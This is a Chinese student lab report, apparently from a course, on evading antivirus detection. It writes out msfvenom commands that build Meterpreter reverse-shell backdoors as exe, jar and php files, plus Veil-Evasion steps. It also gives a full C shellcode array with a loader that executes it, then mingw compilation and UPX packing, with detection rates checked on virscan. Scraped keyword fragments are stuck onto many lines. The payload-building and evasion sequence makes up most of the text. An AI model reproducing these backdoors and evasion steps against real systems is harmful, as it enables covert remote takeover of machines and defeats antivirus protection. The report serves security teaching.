(1)杀软是如何检测出恶意代码的?php
(2)免杀是作什么?java
通常是对恶意软件作处理,让它不被杀毒软件所检测。也是渗透测试中须要使用到的技术。shell
(3)免杀的基本方法有哪些?编程
1、正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧;windows
(1)正确使用msf编码器网络
把实验二中生成的后门程序更名为“backdoor.exe”后放到virscan网站中扫描结果以下tcp
用msf编码器对后门程序进行一次到屡次的编码,看可否下降检出率工具
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.199.170 LPORT=5333 -f exe > backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.199.170 LPORT=5333 -f exe > backdoor0.exe
2)msfvenom生成jar文件测试
生成Java后门程序:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.170 lport=5333 x> backdoor_java.jar
网站
(3)msfvenom生成php文件
生成PHP后门程序:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.170 lport=5333 x> backdoor.php
4)msfvenom生成shellcode
生成shellcode:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.199.170 lport=5333 -f c
(5)veil-evasion
拷贝老师的虚拟机,输入命令:veil
,启用veil;接着在veil中输入命令:use evasion
,进入veil-evasion
输入命令:use c/meterpreter/rev_tcp.py
设置反弹链接IP,命令为:set LHOST 192.168.199.194
,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT 5333
输入generate
生成文件,接着输入playload名:playload5333
在/var/lib/veil/output/compiled/playload5333.exe这个路径下找咱们生成的exe文件,用virscan扫描结果以下:
(6)C语言调用Shellcode版本
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.194 LPORT=5333 -f c
用c语言生成一段shellcode;
建立一个文件20155333.c,而后将unsigned char buf[]赋值到其中,代码以下:
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xd9\x82" "\x68\x02\x00\x14\xc0\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
使用命令:i686-w64-mingw32-g++ 20155333.c -o 20155333.exe
编译这个.c文件为可执行文件:
扫描结果以下:
在kali上测试其是否可用:
windows下扫描结果以下:
使用UPX对生成的后门程序加壳:
扫描结果以下:
感受本身如今只是能按照老师所给的实验指导,在尽可能不出错的状况下基本完成实验内容,距离实战同时具备知识及技术上的不足,须要对杀毒软件的原理及免杀技术具备更深刻的了解,而且经过必定的练习来掌握这些,才能有能力接触实战。
我所使用的杀毒软件电脑管家在本次实验过程当中居然一次也没有没有发现病毒,看来确实须要换一款杀毒软件了。